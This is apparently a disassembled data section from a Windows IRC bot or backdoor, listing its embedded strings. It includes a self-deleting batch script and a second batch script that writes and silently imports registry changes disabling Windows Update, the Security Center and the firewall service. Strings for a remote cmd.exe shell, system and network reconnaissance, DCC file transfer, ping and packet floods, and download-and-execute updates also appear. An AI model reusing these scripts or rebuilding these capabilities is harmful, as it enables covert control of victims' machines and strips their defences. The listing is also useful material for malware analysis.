dword_429A0C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40967F+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_409CCD+5o
					; sub_414390+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_409D4F+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409E15+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409E15+48o
		align 4
aCA1c_bat	db 'c:\a1c.bat',0       ; DATA XREF: sub_409F9D+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F9D+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42B368	db    2			; DATA XREF: sub_40A093:loc_40A152o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B3AC	db    2			; DATA XREF: sub_40A093:loc_40A120o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_42B3F0	db    2			; DATA XREF: sub_40A093:loc_40A0ECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42B428	db    2			; DATA XREF: sub_40A093+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B46C	db    2			; DATA XREF: sub_40A217+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B4AC	db    2			; DATA XREF: sub_40A217+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42B4E8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+1C6o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42B528	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o
dword_42B574	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A7DAo
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42B5B8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8+10Fo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42B5F4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A78Eo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42B638	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42B680	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7FD+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40AAD1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
		align 4
word_42B7C4	dw 3Fh			; DATA XREF: sub_40AAD1:loc_40ABD3r
					; sub_40C297+1Fo
		align 4
dword_42B7C8	dd 28207325h, 297325hdword_42B7D0	dd 3F3F3Fh						; .nsp0:loc_414341o
a2003		db '2003',0             ; DATA XREF: sub_40AAD1+BAo
					; .nsp0:0042C474o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAD1+AAo
					; .nsp0:0041432Co ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40AAD1+98o
					; .nsp0:0041431Co
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAD1+7Eo
					; .nsp0:00414303o
		align 4
a98		db '98',0               ; DATA XREF: sub_40AAD1+6Co
					; .nsp0:004142F3o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAD1+5Ao
					; .nsp0:004142E3o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40AAD1+46o
					; .nsp0:004142D5o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD85+ABo
		align 4
off_42B834	dd offset loc_412F4C+2	; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B838	dd 4E414Ch	dword_42B83C	dd 6C616944h, 70752Dhdword_42B844	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B854	db    2			; DATA XREF: sub_40AE4B:loc_40B004o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42B898	db    2			; DATA XREF: sub_40AE4B:loc_40AFFDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42B8D8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B908	db    2			; DATA XREF: sub_40AE4B:loc_40AFDEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42B958	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42B988	dd 2A2F2Ah	dword_42B98C	dd 202E6425h, 3D207325h, 732520hdword_42B998	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
		align 4
dword_42B9CC	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B20D+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BA04	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BA34	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA58	dd 80000002h, 42C268h, 80000002h, 42C298h, 80000001h, 42C2D0h
					; DATA XREF: sub_40B3AE+7o
dword_42BA70	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B3AE+63o
					; sub_40B551+170o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42BAB8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+ABo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAFC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+47o
					; sub_40B712+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BB34	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+362o
					; sub_40BAB4+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BBB4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBEC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BC18	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40B712+16Ao
		dd 169h
dword_42BC30	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC64	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42BCD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BD2C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BD60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: sub_40BAB4+97o
dword_42BDA4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_42BDE8	db    2			; DATA XREF: sub_40BCEF+493o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42BE28	db    2			; DATA XREF: sub_40BCEF+485o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE74	db    2			; DATA XREF: sub_40BCEF+3C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42BEC8	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40BCEF+358o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40BCEF+336o
					; sub_40CE55+2A37o ...
		align 10h
unk_42BF00	db    2			; DATA XREF: sub_40BCEF+2E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
